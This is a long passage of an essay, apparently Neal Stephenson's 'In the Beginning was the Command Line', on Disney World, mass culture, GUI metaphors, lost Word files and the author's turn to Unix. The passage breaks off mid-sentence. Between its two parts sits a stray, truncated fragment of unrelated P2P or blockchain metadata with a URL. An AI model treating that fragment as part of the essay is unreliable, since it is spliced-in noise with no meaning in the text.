I'm not going to keep pounding it into the ground. I'm not even going
to make snotty comments about it--after all, I was at Disney World as a
paying customer. But it clearly relates to the colossal success of GUIs
and so I have to talk about it some. Disney does mediated experiences
better than anyone. If they understood what OSes are, and why people
use them, they could crush Microsoft in a year or two.
In the part of Disney World called the Animal Kingdom there is a new
attraction, slated to open in March 1999, called the Maharajah Jungle
Trek. It was open for sneak previews when I was there. This is a complete
stone-by-stone reproduction of a hypothetical ruin in the jungles of
India. According to its backstory, it was built by a local rajah in the
16th Century as a game reserve. He would go there with his princely
guests to hunt Bengal tigers. As time went on it fell into disrepair
and the tigers and monkeys took it over; eventually, around the time of
India's independence, it became a government wildlife reserve, now open
to visitors.
The place looks more like what I have just described than any actual
building you might find in India. All the stones in the broken walls are
weathered as if monsoon rains had been trickling down them for centuries,
the paint on the gorgeous murals is flaked and faded just so, and Bengal
tigers loll amid stumps of broken columns. Where modern repairs have
been made to the ancient structure, they've been done, not as Disney's
engineers would do them, but as thrifty Indian janitors would--with
hunks of bamboo and rust-spotted hunks of rebar. The rust is painted
on, or course, and protected from real rust by a plastic clear-coat,
but you can't tell unless you get down on your knees.
In one place you walk along a stone wall with a series of old pitted
friezes carved into it. One end of the wall has broken off and settled
into the earth, perhaps because of some long-forgotten earthquake, and
so a broad jagged crack runs across a panel or two, but the story is
still readable: first, primordial chaos leads to a flourishing of many
animal species. Next, we see the Tree of Life surrounded by diverse
animals. This is an obvious allusion (or, in showbiz lingo, a tie-in)
to the gigantic Tree of Life that dominates the center of Disney's
Animal Kingdom just as the Castle dominates the Magic Kingdom or the
Sphere does Epcot. But it's rendered in historically correct style and
could probably fool anyone who didn't have a Ph.D. in Indian art history.
The next panel shows a mustachioed H. sapiens chopping down the Tree of
Life with a scimitar, and the animals fleeing every which way. The one
after that shows the misguided human getting walloped by a tidal wave,
part of a latter-day Deluge presumably brought on by his stupidity.
The final panel, then, portrays the Sapling of Life beginning to grow
back, but now Man has ditched the edged weapon and joined the other
animals in standing around to adore and praise it.
It is, in other words, a prophecy of the Bottleneck: the scenario,
commonly espoused among modern-day environmentalists, that the world faces
an upcoming period of grave ecological tribulations that will last for
a few decades or centuries and end when we find a new harmonious modus
vivendi with Nature.
Taken as a whole the frieze is a pretty brilliant piece of work. Obviously
it's not an ancient Indian ruin, and some person or people now living
deserve credit for it. But there are no signatures on the Maharajah's game
reserve at Disney World. There are no signatures on anything, because it
would ruin the whole effect to have long strings of production credits
dangling from every custom-worn brick, as they do from Hollywood movies.
Among Hollywood writers, Disney has the reputation of being a real wicked
stepmother. It's not hard to see why. Disney is in the business of putting
out a product of seamless illusion--a magic mirror that reflects the
world back better than it really is. But a writer is literally talking
to his or her readers, not just creating an ambience or presenting them
with something to look at; and just as the command-line interface opens a
much more direct and explicit channel from user to machine than the GUI,
so it is with words, writer, and reader.
The word, in the end, is the only system of encoding thoughts--the only
medium--that is not fungible, that refuses to dissolve in the devouring
torrent of electronic media (the richer tourists at Disney World wear
t-shirts printed with the names of famous designers, because designs
themselves can be bootlegged easily and with impunity. The only way to
make clothing that cannot be legally bootlegged is to print copyrighted
and trademarked words on it; once you have taken that step, the clothing
itself doesn't really matter, and so a t-shirt is as good as anything
else. T-shirts with expensive words on them are now the insignia of the
upper class. T-shirts with cheap words, or no words at all, are for the
commoners).
But this special quality of words and of written communication would have
the same effect on Disney's product as spray-painted graffiti on a magic
mirror. So Disney does most of its communication without resorting to
words, and for the most part, the words aren't missed. Some of Disney's
older properties, such as Peter Pan, Winnie the Pooh, and Alice in
Wonderland, came out of books. But the authors' names are rarely if ever
mentioned, and you can't buy the original books at the Disney store. If
you could, they would all seem old and queer, like very bad knockoffs
of the purer, more authentic Disney versions. Compared to more recent
productions like Beauty and the Beast and Mulan, the Disney movies based
on these books (particularly Alice in Wonderland and Peter Pan) seem
deeply bizarre, and not wholly appropriate for children. That stands to
reason, because Lewis Carroll and J.M. Barrie were very strange men, and
such is the nature of the written word that their personal strangeness
shines straight through all the layers of Disneyfication like x-rays
through a wall. Probably for this very reason, Disney seems to have
stopped buying books altogether, and now finds its themes and characters
in folk tales, which have the lapidary, time-worn quality of the ancient
bricks in the Maharajah's ruins.
If I can risk a broad generalization, most of the people who go to Disney
World have zero interest in absorbing new ideas from books. Which sounds
snide, but listen: they have no qualms about being presented with ideas
in other forms. Disney World is stuffed with environmental messages now,
and the guides at Animal Kingdom can talk your ear off about biology.
If you followed those tourists home, you might find art, but it would be
the sort of unsigned folk art that's for sale in Disney World's African-
and Asian-themed stores. In general they only seem comfortable with
media that have been ratified by great age, massive popular acceptance,
or both.
In this world, artists are like the anonymous, illiterate stone carvers
who built the great cathedrals of Europe and then faded away into
unmarked graves in the churchyard. The cathedral as a whole is awesome
and stirring in spite, and possibly because, of the fact that we have
no idea who built it. When we walk through it we are communing not with
individual stone carvers but with an entire culture.
Disney World works the same way. If you are an intellectual type, a
reader or writer of books, the nicest thing you can say about this is
that the execution is superb. But it's easy to find the whole environment
a little creepy, because something is missing: the translation of all
its content into clear explicit written words, the attribution of the
ideas to specific people. You can't argue with it. It seems as if a
hell of a lot might be being glossed over, as if Disney World might
be putting one over on us, and possibly getting away with all kinds of
buried assumptions and muddled thinking.
But this is precisely the same as what is lost in the transition from
the command-line interface to the GUI.
Disney and Apple/Microsoft are in the same business: short-circuiting
laborious, explicit verbal communication with expensively designed
interfaces. Disney is a sort of user interface unto itself--and more than
just graphical. Let's call it a Sensorial Interface. It can be applied
to anything in the world, real or imagined, albeit at staggering expense.
Why are we rejecting explicit word-based interfaces, and embracing
graphical or sensorial ones--a trend that accounts for the success of
both Microsoft and Disney?
Part of it is simply that the world is very complicated now--much more
complicated than the hunter-gatherer world that our brains evolved to
cope with--and we simply can't handle all of the details. We have to
delegate. We have no choice but to trust some nameless artist at Disney
or programmer at Apple or Microsoft to make a few choices for us, close
off some options, and give us a conveniently packaged executive summary.
But more importantly, it comes out of the fact that, during this century,
intellectualism failed, and everyone knows it. In places like Russia and
Germany, the common people agreed to loosen their grip on traditional
folkways, mores, and religion, and let the intellectuals run with the
ball, and they screwed everything up and turned the century into an
abbatoir. Those wordy intellectuals used to be merely tedious; now they
seem kind of dangerous as well.
We Americans are the only ones who didn't get creamed at some
point during all of this. We are free and prosperous because we have
inherited political and values systems fabricated by a particular set
of eighteenth-century intellectuals who happened to get it right. But
we have lost touch with those intellectuals, and with anything like
intellectualism, even to the point of not reading books any more,
though we are literate. We seem much more comfortable with propagating
those values to future generations nonverbally, through a process of
being steeped in media. Apparently this actually works to some degree,
for police in many lands are now complaining that local arrestees are
insisting on having their Miranda rights read to them, just like perps
in American TV cop shows. When it's explained to them that they are
in a different country, where those rights do not exist, they become
outraged. Starsky and Hutch reruns, dubbed into diverse languages, may
turn out, in the long run, to be a greater force for human rights than
the Declaration of Independence.
A huge, rich, nuclear-tipped culture that propagates its core values
through media steepage seems like a bad idea. There is an obvious risk of
running astray here. Words are the only immutable medium we have, which
is why they are the vehicle of choice for extremely important concepts
like the Ten Commandments, the Koran, and the Bill of Rights. Unless the
messages conveyed by our media are somehow pegged to a fixed, written
set of precepts, they can wander all over the place and possibly dump
loads of crap into people's minds.
Orlando used to have a military installation called McCoy Air Force
Base, with long runways from which B-52s could take off and reach Cuba,
or just about anywhere else, with loads of nukes. But now McCoy has been
scrapped and repurposed. It has been absorbed into Orlando's civilian
airport. The long runways are being used to land 747-loads of tourists
from Brazil, Italy, Russia and Japan, so that they can come to Disney
World and steep in our media for a while.
To traditional cultures, especially word-based ones such as Islam, this
is infinitely more threatening than the B-52s ever were. It is obvious,
to everyone outside of the United States, that our arch-buzzwords,
multiculturalism and diversity, are false fronts that are being used (in
many cases unwittingly) to conceal a global trend to eradicate cultural
differences. The basic tenet of multiculturalism (or "honoring diversity"
or whatever you want to call it) is that people need to stop judging
each other-to stop asserting (and, eventually, to stop believing) that
this is right and that is wrong, this true and that false, one thing
ugly and another thing beautiful, that God exists and has this or that
set of qualities.
The lesson most people are taking home from the Twentieth Century is that,
in order for a large number of different cultures to coexist peacefully
on the globe (or even in a neighborhood) it is necessary for people to
suspend judgment in this way. Hence (I would argue) our suspicion of,
and hostility towards, all authority figures in modern culture. As David
Foster Wallace has explained in his essay "E Unibus Pluram," this is the
fundamental message of television; it is the message that people take
home, anyway, after they have steeped in our media long enough. It's not
expressed in these highfalutin terms, of course. It comes through as
the presumption that all authority figures--teachers, generals, cops,
ministers, politicians--are hypocritical buffoons, and that hip jaded
coolness is the only way to be.
The problem is that once you have done away with the ability to make
judgments as to right and wrong, true and false, etc., there's no real
culture left. All that remains is clog dancing and macrame. The ability
to make judgments, to believe things, is the entire it point of having
a culture. I think this is why guys with machine guns sometimes pop up
in places like Luxor, and begin pumping bullets into Westerners. They
perfectly understand the lesson of McCoy Air Force Base. When their sons
come home wearing Chicago Bulls caps with the bills turned sideways,
the dads go out of their minds.
The global anti-culture that has been conveyed into every cranny of
the world by television is a culture unto itself, and by the standards
of great and ancient cultures like Islam and France, it seems grossly
inferior, at least at first. The only good thing you can say about it
is that it makes world wars and Holocausts less likely--and that is
actually a pretty good thing!
The only real problem is that anyone who has no culture, other than this
global monoculture, is completely screwed. Anyone who grows up watching
TV, never sees any religion or philosophy, is raised in an atmosphere
of moral relativism, learns about civics from watching bimbo eruptions
on network TV news, and attends a university where postmodernists vie
to outdo each other in demolishing traditional notions of truth and
quality, is going to come out into the world as one pretty feckless human
being. And--again--perhaps the goal of all this is to make us feckless
so we won't nuke each other.
On the other hand, if you are raised within some specific culture, you
end up with a basic set of tools that you can use to think about and
understand the world. You might use those tools to reject the culture
you were raised in, but at least you've got some tools.
In this country, the people who run things--who populate major law firms
and corporate boards--understand all of this at some level. They pay
lip service to multiculturalism and diversity and non-judgmentalness,
but they don't raise their own children that way. I have highly educated,
technically sophisticated friends who have moved to small towns in Iowa
to live and raise their children, and there are Hasidic Jewish enclaves
in New York where large numbers of kids are being brought up according
to traditional beliefs. Any suburban community might be thought of as
a place where people who hold certain (mostly implicit) beliefs go to
live among others who think the same way.
And not only do these people feel some responsibility to their own
children, but to the country as a whole. Some of the upper class
are vile and cynical, of course, but many spend at least part of
their time fretting about what direction the country is going in,
and what responsibilities they have. And so issues that are important
to book-reading intellectuals, such as global environmental collapse,
eventually percolate through the porous buffer of mass culture and show
up as ancient Hindu ruins in Orlando.
You may be asking: what the hell does all this have to do with operating
systems? As I've explained, there is no way to explain the domination of
the OS market by Apple/Microsoft without looking to cultural explanations,
and so I can't get anywhere, in this essay, without first letting you
know where I'm coming from vis-a-vis contemporary culture.
Contemporary culture is a two-tiered system, like the Morlocks and the
Eloi in H.G. Wells's The Time Machine, except that it's been turned upside
down. In The Time Machine the Eloi were an effete upper class, supported
by lots of subterranean Morlocks who kept the technological wheels
turning. But in our world it's the other way round. The Morlocks are in
the minority, and they are running the show, because they understand
how everything works. The much more numerous Eloi learn everything
they know from being steeped from birth in electronic media directed
and controlled by book-reading Morlocks. So many ignorant people could
be dangerous if they got pointed in the wrong direction, and so we've
evolved a popular culture that is (a) almost unbelievably infectious
and (b) neuters every person who gets infected by it, by rendering them
unwilling to make judgments and incapable of taking stands.
Morlocks, who have the energy and intelligence to comprehend details,
go out and master complex subjects and produce Disney-like Sensorial
Interfaces so that Eloi can get the gist without having to strain their
minds or endure boredom. Those Morlocks will go to India and tediously
explore a hundred ruins, then come home and built sanitary bug-free
versions: highlight films, as it were. This costs a lot, because Morlocks
insist on good coffee and first-class airline tickets, but that's no
problem because Eloi like to be dazzled and will gladly pay for it all.
Now I realize that most of this probably sounds snide and bitter to the
point of absurdity: your basic snotty intellectual throwing a tantrum
about those unlettered philistines. As if I were a self-styled Moses,
coming down from the mountain all alone, carrying the stone tablets
bearing the Ten Commandments carved in immutable stone--the original
command-line interface--and blowing his stack at the weak, unenlightened
Hebrews worshipping images. Not only that, but it sounds like I'm pumping
some sort of conspiracy theory.
But that is not where I'm going with this. The situation I describe, here,
could be bad, but doesn't have to be bad and isn't necessarily bad now:
It simply is the case that we are way too busy, nowadays, to comprehend
everything in detail. And it's better to comprehend it dimly, through
an interface, than not at all. Better for ten million Eloi to go on the
Kilimanjaro Safari at Disney World than for a thousand cardiovascular
surgeons and mutual fund managers to go on "real" ones in Kenya. The
boundary between these two classes is more porous than I've made it
sound. I'm always running into regular dudes--construction workers, auto
mechanics, taxi drivers, galoots in general--who were largely aliterate
until something made it necessary for them to become readers and start
actually thinking about things. Perhaps they had to come to grips with
alcoholism, perhaps they got sent to jail, or came down with a disease,
or suffered a crisis in religious faith, or simply got bored. Such people
can get up to speed on particular subjects quite rapidly. Sometimes their
lack of a broad education makes them over-apt to go off on intellectual
wild goose chases, but, hey, at least a wild goose chase gives you some
exercise. The spectre of a polity controlled by the fads and whims of
voters who actually believe that there are significant differences between
Bud Lite and Miller Lite, and who think that professional wrestling is
for real, is naturally alarming to people who don't. But then countries
controlled via the command-line interface, as it were, by double-domed
intellectuals, be they religious or secular, are generally miserable
places to live. Sophisticated people deride Disneyesque entertainments
as pat and saccharine, but, hey, if the result of that is to instill
basically warm and sympathetic reflexes, at a preverbal level, into
hundreds of millions of unlettered media-steepers, then how bad can
it be? We killed a lobster in our kitchen last night and my daughter
cried for an hour. The Japanese, who used to be just about the fiercest
people on earth, have become infatuated with cuddly adorable cartoon
characters. My own family--the people I know best--is divided about evenly
between people who will probably read this essay and people who almost
certainly won't, and I can't say for sure that one group is necessarily
warmer, happier, or better-adjusted than the other.
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:;! P2P is future! ppkpub.org->ppk:0R
@{"ap_list":["http://ppkpub.oR
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In the Beginning was the Command Line - Part 3/6
MORLOCKS AND ELOI AT THE KEYBOARD
Back in the days of the command-line interface, users were all Morlocks
who had to convert their thoughts into alphanumeric symbols and type
them in, a grindingly tedious process that stripped away all ambiguity,
laid bare all hidden assumptions, and cruelly punished laziness and
imprecision. Then the interface-makers went to work on their GUIs, and
introduced a new semiotic layer between people and machines. People who
use such systems have abdicated the responsibility, and surrendered the
power, of sending bits directly to the chip that's doing the arithmetic,
and handed that responsibility and power over to the OS. This is tempting
because giving clear instructions, to anyone or anything, is difficult. We
cannot do it without thinking, and depending on the complexity of the
situation, we may have to think hard about abstract things, and consider
any number of ramifications, in order to do a good job of it. For most
of us, this is hard work. We want things to be easier. How badly we want
it can be measured by the size of Bill Gates's fortune.
The OS has (therefore) become a sort of intellectual labor-saving device
that tries to translate humans' vaguely expressed intentions into bits. In
effect we are asking our computers to shoulder responsibilities that
have always been considered the province of human beings--we want them to
understand our desires, to anticipate our needs, to foresee consequences,
to make connections, to handle routine chores without being asked, to
remind us of what we ought to be reminded of while filtering out noise.
At the upper (which is to say, closer to the user) levels, this is done
through a set of conventions--menus, buttons, and so on. These work in
the sense that analogies work: they help Eloi understand abstract or
unfamiliar concepts by likening them to something known. But the loftier
word "metaphor" is used.
The overarching concept of the MacOS was the "desktop metaphor" and it
subsumed any number of lesser (and frequently conflicting, or at least
mixed) metaphors. Under a GUI, a file (frequently called "document") is
metaphrased as a window on the screen (which is called a "desktop"). The
window is almost always too small to contain the document and so you
"move around," or, more pretentiously, "navigate" in the document by
"clicking and dragging" the "thumb" on the "scroll bar." When you "type"
(using a keyboard) or "draw" (using a "mouse") into the "window" or use
pull-down "menus" and "dialog boxes" to manipulate its contents, the
results of your labors get stored (at least in theory) in a "file,"
and later you can pull the same information back up into another
"window." When you don't want it anymore, you "drag" it into the "trash."
There is massively promiscuous metaphor-mixing going on here, and I could
deconstruct it 'til the cows come home, but I won't. Consider only one
word: "document." When we document something in the real world, we make
fixed, permanent, immutable records of it. But computer documents are
volatile, ephemeral constellations of data. Sometimes (as when you've
just opened or saved them) the document as portrayed in the window is
identical to what is stored, under the same name, in a file on the disk,
but other times (as when you have made changes without saving them)
it is completely different. In any case, every time you hit "Save" you
annihilate the previous version of the "document" and replace it with
whatever happens to be in the window at the moment. So even the word
"save" is being used in a sense that is grotesquely misleading---"destroy
one version, save another" would be more accurate.
Anyone who uses a word processor for very long inevitably has the
experience of putting hours of work into a long document and then losing
it because the computer crashes or the power goes out. Until the moment
that it disappears from the screen, the document seems every bit as solid
and real as if it had been typed out in ink on paper. But in the next
moment, without warning, it is completely and irretrievably gone, as if
it had never existed. The user is left with a feeling of disorientation
(to say nothing of annoyance) stemming from a kind of metaphor shear--you
realize that you've been living and thinking inside of a metaphor that
is essentially bogus.
So GUIs use metaphors to make computing easier, but they are bad
metaphors. Learning to use them is essentially a word game, a process
of learning new definitions of words like "window" and "document" and
"save" that are different from, and in many cases almost diametrically
opposed to, the old. Somewhat improbably, this has worked very well, at
least from a commercial standpoint, which is to say that Apple/Microsoft
have made a lot of money off of it. All of the other modern operating
systems have learned that in order to be accepted by users they must
conceal their underlying gutwork beneath the same sort of spackle. This
has some advantages: if you know how to use one GUI operating system, you
can probably work out how to use any other in a few minutes. Everything
works a little differently, like European plumbing--but with some fiddling
around, you can type a memo or surf the web.
Most people who shop for OSes (if they bother to shop at all) are
comparing not the underlying functions but the superficial look and
feel. The average buyer of an OS is not really paying for, and is not
especially interested in, the low-level code that allocates memory
or writes bytes onto the disk. What we're really buying is a system
of metaphors. And--much more important--what we're buying into is the
underlying assumption that metaphors are a good way to deal with the
world.
Recently a lot of new hardware has become available that gives computers
numerous interesting ways of affecting the real world: making paper
spew out of printers, causing words to appear on screens thousands of
miles away, shooting beams of radiation through cancer patients, creating
realistic moving pictures of the Titanic. Windows is now used as an OS for
cash registers and bank tellers' terminals. My satellite TV system uses
a sort of GUI to change channels and show program guides. Modern cellular
telephones have a crude GUI built into a tiny LCD screen. Even Legos now
have a GUI: you can buy a Lego set called Mindstorms that enables you to
build little Lego robots and program them through a GUI on your computer.
So we are now asking the GUI to do a lot more than serve as a glorified
typewriter. Now we want to become a generalized tool for dealing with
reality. This has become a bonanza for companies that make a living out
of bringing new technology to the mass market.
Obviously you cannot sell a complicated technological system to people
without some sort of interface that enables them to use it. The
internal combustion engine was a technological marvel in its day,
but useless as a consumer good until a clutch, transmission, steering
wheel and throttle were connected to it. That odd collection of gizmos,
which survives to this day in every car on the road, made up what we
would today call a user interface. But if cars had been invented after
Macintoshes, carmakers would not have bothered to gin up all of these
arcane devices. We would have a computer screen instead of a dashboard,
and a mouse (or at best a joystick) instead of a steering wheel, and
we'd shift gears by pulling down a menu:
PARK --- REVERSE --- NEUTRAL ---- 3 2 1 --- Help...
A few lines of computer code can thus be made to substitute for any
imaginable mechanical interface. The problem is that in many cases
the substitute is a poor one. Driving a car through a GUI would be a
miserable experience. Even if the GUI were perfectly bug-free, it would
be incredibly dangerous, because menus and buttons simply can't be as
responsive as direct mechanical controls. My friend's dad, the gentleman
who was restoring the MGB, never would have bothered with it if it had
been equipped with a GUI. It wouldn't have been any fun.
The steering wheel and gearshift lever were invented during an era when
the most complicated technology in most homes was a butter churn. Those
early carmakers were simply lucky, in that they could dream up whatever
interface was best suited to the task of driving an automobile, and people
would learn it. Likewise with the dial telephone and the AM radio. By
the time of the Second World War, most people knew several interfaces:
they could not only churn butter but also drive a car, dial a telephone,
turn on a radio, summon flame from a cigarette lighter, and change a
light bulb.
But now every little thing--wristwatches, VCRs, stoves--is jammed with
features, and every feature is useless without an interface. If you are
like me, and like most other consumers, you have never used ninety percent
of the available features on your microwave oven, VCR, or cellphone. You
don't even know that these features exist. The small benefit they might
bring you is outweighed by the sheer hassle of having to learn about
them. This has got to be a big problem for makers of consumer goods,
because they can't compete without offering features.
It's no longer acceptable for engineers to invent a wholly novel
user interface for every new product, as they did in the case of
the automobile, partly because it's too expensive and partly because
ordinary people can only learn so much. If the VCR had been invented a
hundred years ago, it would have come with a thumbwheel to adjust the
tracking and a gearshift to change between forward and reverse and a big
cast-iron handle to load or to eject the cassettes. It would have had a
big analog clock on the front of it, and you would have set the time by
moving the hands around on the dial. But because the VCR was invented when
it was--during a sort of awkward transitional period between the era of
mechanical interfaces and GUIs--it just had a bunch of pushbuttons on the
front, and in order to set the time you had to push the buttons in just
the right way. This must have seemed reasonable enough to the engineers
responsible for it, but to many users it was simply impossible. Thus the
famous blinking 12:00 that appears on so many VCRs. Computer people call
this "the blinking twelve problem". When they talk about it, though,
they usually aren't talking about VCRs.
Modern VCRs usually have some kind of on-screen programming, which means
that you can set the time and control other features through a sort of
primitive GUI. GUIs have virtual pushbuttons too, of course, but they also
have other types of virtual controls, like radio buttons, checkboxes,
text entry boxes, dials, and scrollbars. Interfaces made out of these
components seem to be a lot easier, for many people, than pushing those
little buttons on the front of the machine, and so the blinking 12:00
itself is slowly disappearing from America's living rooms. The blinking
twelve problem has moved on to plague other technologies.
So the GUI has gone beyond being an interface to personal computers,
and become a sort of meta-interface that is pressed into service for
every new piece of consumer technology. It is rarely an ideal fit, but
having an ideal, or even a good interface is no longer the priority;
the important thing now is having some kind of interface that customers
will actually use, so that manufacturers can claim, with a straight face,
that they are offering new features.
We want GUIs largely because they are convenient and because they are
easy-- or at least the GUI makes it seem that way Of course, nothing is
really easy and simple, and putting a nice interface on top of it does
not change that fact. A car controlled through a GUI would be easier
to drive than one controlled through pedals and steering wheel, but it
would be incredibly dangerous.
By using GUIs all the time we have insensibly bought into a premise that
few people would have accepted if it were presented to them bluntly:
namely, that hard things can be made easy, and complicated things simple,
by putting the right interface on them. In order to understand how
bizarre this is, imagine that book reviews were written according to
the same values system that we apply to user interfaces: "The writing
in this book is marvelously simple-minded and glib; the author glosses
over complicated subjects and employs facile generalizations in almost
every sentence. Readers rarely have to think, and are spared all of
the difficulty and tedium typically involved in reading old-fashioned
books." As long as we stick to simple operations like setting the clocks
on our VCRs, this is not so bad. But as we try to do more ambitious
things with our technologies, we inevitably run into the problem of:
METAPHOR SHEAR
I began using Microsoft Word as soon as the first version was released
around 1985. After some initial hassles I found it to be a better tool
than MacWrite, which was its only competition at the time. I wrote a
lot of stuff in early versions of Word, storing it all on floppies, and
transferred the contents of all my floppies to my first hard drive, which
I acquired around 1987. As new versions of Word came out I faithfully
upgraded, reasoning that as a writer it made sense for me to spend a
certain amount of money on tools.
Sometime in the mid-1980's I attempted to open one of my old, circa-1985
Word documents using the version of Word then current: 6.0 It didn't
work. Word 6.0 did not recognize a document created by an earlier version
of itself. By opening it as a text file, I was able to recover the
sequences of letters that made up the text of the document. My words were
still there. But the formatting had been run through a log chipper--the
words I'd written were interrupted by spates of empty rectangular boxes
and gibberish.
Now, in the context of a business (the chief market for Word) this sort
of thing is only an annoyance--one of the routine hassles that go along
with using computers. It's easy to buy little file converter programs
that will take care of this problem. But if you are a writer whose
career is words, whose professional identity is a corpus of written
documents, this kind of thing is extremely disquieting. There are very
few fixed assumptions in my line of work, but one of them is that once
you have written a word, it is written, and cannot be unwritten. The
ink stains the paper, the chisel cuts the stone, the stylus marks the
clay, and something has irrevocably happened (my brother-in-law is a
theologian who reads 3250-year-old cuneiform tablets--he can recognize
the handwriting of particular scribes, and identify them by name). But
word-processing software--particularly the sort that employs special,
complex file formats--has the eldritch power to unwrite things. A small
change in file formats, or a few twiddled bits, and months' or years'
literary output can cease to exist.
Now this was technically a fault in the application (Word 6.0 for the
Macintosh) not the operating system (MacOS 7 point something) and so the
initial target of my annoyance was the people who were responsible for
Word. But. On the other hand, I could have chosen the "save as text"
option in Word and saved all of my documents as simple telegrams,
and this problem would not have arisen. Instead I had allowed myself
to be seduced by all of those flashy formatting options that hadn't
even existed until GUIs had come along to make them practicable. I had
gotten into the habit of using them to make my documents look pretty
(perhaps prettier than they deserved to look; all of the old documents
on those floppies turned out to be more or less crap). Now I was paying
the price for that self-indulgence. Technology had moved on and found
ways to make my documents look even prettier, and the consequence of it
was that all old ugly documents had ceased to exist.
It was--if you'll pardon me for a moment's strange little fantasy--as
if I'd gone to stay at some resort, some exquisitely designed and
art-directed hotel, placing myself in the hands of past masters of the
Sensorial Interface, and had sat down in my room and written a story in
ballpoint pen on a yellow legal pad, and when I returned from dinner,
discovered that the maid had taken my work away and left behind in
its place a quill pen and a stack of fine parchment--explaining that
the room looked ever so much finer this way, and it was all part of
a routine upgrade. But written on these sheets of paper, in flawless
penmanship, were long sequences of words chosen at random from the
dictionary. Appalling, sure, but I couldn't really lodge a complaint with
the management, because by staying at this resort I had given my consent
to it. I had surrendered my Morlock credentials and become an Eloi.
LINUX
During the late 1980's and early 1990's I spent a lot of time programming
Macintoshes, and eventually decided for fork over several hundred dollars
for an Apple product called the Macintosh Programmer's Workshop, or
MPW. MPW had competitors, but it was unquestionably the premier software
development system for the Mac. It was what Apple's own engineers used
to write Macintosh code. Given that MacOS was far more technologically
advanced, at the time, than its competition, and that Linux did not even
exist yet, and given that this was the actual program used by Apple's
world-class team of creative engineers, I had high expectations. It
arrived on a stack of floppy disks about a foot high, and so there was
plenty of time for my excitement to build during the endless installation
process. The first time I launched MPW, I was probably expecting some
kind of touch-feely multimedia showcase. Instead it was austere, almost
to the point of being intimidating. It was a scrolling window into which
you could type simple, unformatted text. The system would then interpret
these lines of text as commands, and try to execute them.
It was, in other words, a glass teletype running a command line
interface. It came with all sorts of cryptic but powerful commands,
which could be invoked by typing their names, and which I learned to use
only gradually. It was not until a few years later, when I began messing
around with Unix, that I understood that the command line interface
embodied in MPW was a re-creation of Unix.
In other words, the first thing that Apple's hackers had done when they'd
got the MacOS up and running--probably even before they'd gotten it up
and running--was to re-create the Unix interface, so that they would be
able to get some useful work done. At the time, I simply couldn't get
my mind around this, but: as far as Apple's hackers were concerned, the
Mac's vaunted Graphical User Interface was an impediment, something to
be circumvented before the little toaster even came out onto the market.
Even before my Powerbook crashed and obliterated my big file in July
1995, there had been danger signs. An old college buddy of mine,
who starts and runs high-tech companies in Boston, had developed a
commercial product using Macintoshes as the front end. Basically the
Macs were high-performance graphics terminals, chosen for their sweet
user interface, giving users access to a large database of graphical
information stored on a network of much more powerful, but less
user-friendly, computers. This fellow was the second person who turned
me on to Macintoshes, by the way, and through the mid-1980's we had
shared the thrill of being high-tech cognoscenti, using superior Apple
technology in a world of DOS-using knuckleheads. Early versions of my
friend's system had worked well, he told me, but when several machines
joined the network, mysterious crashes began to occur; sometimes the
whole network would just freeze. It was one of those bugs that could not
be reproduced easily. Finally they figured out that these network crashes
were triggered whenever a user, scanning the menus for a particular item,
held down the mouse button for more than a couple of seconds.
Fundamentally, the MacOS could only do one thing at a time. Drawing a
menu on the screen is one thing. So when a menu was pulled down, the
Macintosh was not capable of doing anything else until that indecisive
user released the button.
This is not such a bad thing in a single-user, single-process machine
(although it's a fairly bad thing), but it's no good in a machine that is
on a network, because being on a network implies some kind of continual
low-level interaction with other machines. By failing to respond to the
network, the Mac caused a network-wide crash.
In order to work with other computers, and with networks, and with
various different types of hardware, an OS must be incomparably more
complicated and powerful than either MS-DOS or the original MacOS. The
only way of connecting to the Internet that's worth taking seriously
is PPP, the Point-to-Point Protocol, which (never mind the details)
makes your computer--temporarily--a full-fledged member of the Global
Internet, with its own unique address, and various privileges, powers,
and responsibilities appertaining thereunto. Technically it means your
machine is running the TCP/IP protocol, which, to make a long story
short, revolves around sending packets of data back and forth, in no
particular order, and at unpredictable times, according to a clever
and elegant set of rules. But sending a packet of data is one thing,
and so an OS that can only do one thing at a time cannot simultaneously
be part of the Internet and do anything else. When TCP/IP was invented,
running it was an honor reserved for Serious Computers--mainframes and
high-powered minicomputers used in technical and commercial settings--and
so the protocol is engineered around the assumption that every computer
using it is a serious machine, capable of doing many things at once. Not
to put too fine a point on it, a Unix machine. Neither MacOS nor MS-DOS
was originally built with that in mind, and so when the Internet got hot,
radical changes had to be made.
When my Powerbook broke my heart, and when Word stopped recognizing
my old files, I jumped to Unix. The obvious alternative to MacOS would
have been Windows. I didn't really have anything against Microsoft, or
Windows. But it was pretty obvious, now, that old PC operating systems
were overreaching, and showing the strain, and, perhaps, were best
avoided until they had learned to walk and chew gum at the same time.
The changeover took place on a particular day in the summer of 1995. I
had been San Francisco for a couple of weeks, using my PowerBook to work
on a document. The document was too big to fit onto a single floppy,
and so I hadn't made a backup since leaving home. The PowerBook crashed
and wiped out the entire file.
It happened just as I was on my way out the door to visit a company
called Electric Communities, which in those days was in Los Altos. I took
my PowerBook with me. My friends at Electric Communities were Mac users
who had all sorts of utility software for unerasing files and recovering
from disk crashes, and I was certain I could get most of the file back.
As it turned out, two different Mac crash recovery utilities were unable
to find any trace that my file had ever existed. It was completely and
systematically wiped out. We went through that hard disk block by block
and found disjointed fragments of countless old, discarded, forgotten
files, but none of what I wanted. The metaphor shear was especially brutal
that day. It was sort of like watching the girl you've been in love with
for ten years get killed in a car wreck, and then attending her autopsy,
and learning that underneath the clothes and makeup she was just flesh
and blood.
I must have been reeling around the offices of Electric Communities in
some kind of primal Jungian fugue, because at this moment three weirdly
synchronistic things happened.
(1) Randy Farmer, a co-founder of the company, came in for a quick
visit along with his family--he was recovering from back surgery at
the time. He had some hot gossip: "Windows 95 mastered today." What
this meant was that Microsoft's new operating system had, on this day,
been placed on a special compact disk known as a golden master, which
would be used to stamp out a jintillion copies in preparation for its
thunderous release a few weeks later. This news was received peevishly
by the staff of Electric Communities, including one whose office door
was plastered with the usual assortment of cartoons and novelties, e.g.
(2) a copy of a Dilbert cartoon in which Dilbert, the long-suffering
corporate software engineer, encounters a portly, bearded, hairy man of a
certain age--a bit like Santa Claus, but darker, with a certain edge about
him. Dilbert recognizes this man, based upon his appearance and affect,
as a Unix hacker, and reacts with a certain mixture of nervousness, awe,
and hostility. Dilbert jabs weakly at the disturbing interloper for a
couple of frames; the Unix hacker listens with a kind of infuriating,
beatific calm, then, in the last frame, reaches into his pocket. "Here's
a nickel, kid," he says, "go buy yourself a real computer."
(3) the owner of the door, and the cartoon, was one Doug Barnes. Barnes
was known to harbor certain heretical opinions on the subject of
operating systems. Unlike most Bay Area techies who revered the Macintosh,
